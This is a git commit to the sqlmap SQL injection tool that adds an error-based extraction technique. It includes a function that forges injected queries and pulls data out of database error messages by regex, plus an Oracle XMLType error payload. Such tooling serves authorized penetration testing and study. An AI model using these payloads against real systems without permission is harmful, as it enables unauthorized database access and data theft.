first successfull run of error based sqlmap in history :). tested --banner, --current-user, --current-db on 4 major DBMSes. still hidden from users (turn on flag error in getValue() in inject.py)

This commit is contained in:
Miroslav Stampar 2010-10-19 12:02:04 +00:00
parent 0c286d8db2
commit 6a8b1046d4
4 changed files with 58 additions and 4 deletions

View File

@ -95,6 +95,13 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query"))
self.__queries.case = data
elif name == "error":
data = sanitizeStr(attrs.get("query"))
self.__queries.error = data
data = sanitizeStr(attrs.get("regex"))
self.__queries.errorRegex = data
elif name == "inference":
data = sanitizeStr(attrs.get("query"))
self.__queries.inference = data

View File

@ -19,11 +19,14 @@ from lib.core.common import parseUnionPage
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import readInput
from lib.core.common import safeStringFormat
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.request.direct import direct
from lib.techniques.inband.union.use import unionUse
@ -326,7 +329,40 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
return data
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False):
def __goError(expression, resumeValue=True):
"""
Retrieve the output of a SQL query taking advantage of an error SQL
injection vulnerability on the affected parameter.
"""
query = agent.prefixQuery(" %s" % temp.error)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
if resumeValue:
output = resume(expression, payload)
else:
output = None
if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
return output
expressionUnescaped = unescaper.unescape(expression)
debugMsg = "query: %s" % expressionUnescaped
logger.debug(debugMsg)
forgedPayload = safeStringFormat(payload, expressionUnescaped)
result = Request.queryPage(urlencode(forgedPayload), content=True)
match = re.search(temp.errorRegex, result[0], re.DOTALL | re.IGNORECASE)
if match:
output = match.group('result')
return output
def getValue(expression, blind=True, inband=True, error=False, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False):
"""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter. It can call a function to retrieve the output
@ -337,7 +373,7 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
if suppressOutput:
pushValue(conf.verbose)
conf.verbose = 0
if conf.direct:
value = direct(expression)
else:
@ -347,7 +383,16 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
expression = expression.replace("DISTINCT ", "")
if inband and kb.unionPosition:
if error:
value = __goError(expression)
if not value:
warnMsg = "for some reasons it was not possible to retrieve "
warnMsg += "the query output through error SQL injection "
warnMsg += "technique, sqlmap is going %s" % ("inband" if inband and kb.unionPosition else "blind")
logger.warn(warnMsg)
if inband and kb.unionPosition and not value:
value = __goInband(expression, expected, sort, resumeValue, unpack, dump)
if not value:

View File

@ -64,6 +64,8 @@ class Enumeration:
kb.data.dumpedTable = {}
temp.inference = queries[dbms].inference
temp.error = queries[dbms].error
temp.errorRegex = queries[dbms].errorRegex
def getBanner(self):
if not conf.getBanner:

View File

@ -91,7 +91,7 @@
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
<substring query="SUBSTR((%s), %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/>
<error query="AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(%s)||CHR(58)||CHR(58)||CHR(62))) FROM DUAL)" regex="Warning: invalid QName.*::(?P&lt;result&gt;.+)::"/>
<error query="AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(%s)||CHR(62))) FROM DUAL)" regex="Warning: invalid QName.*::(?P&lt;result&gt;.+)&amp;quot;"/>
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT USER FROM DUAL"/>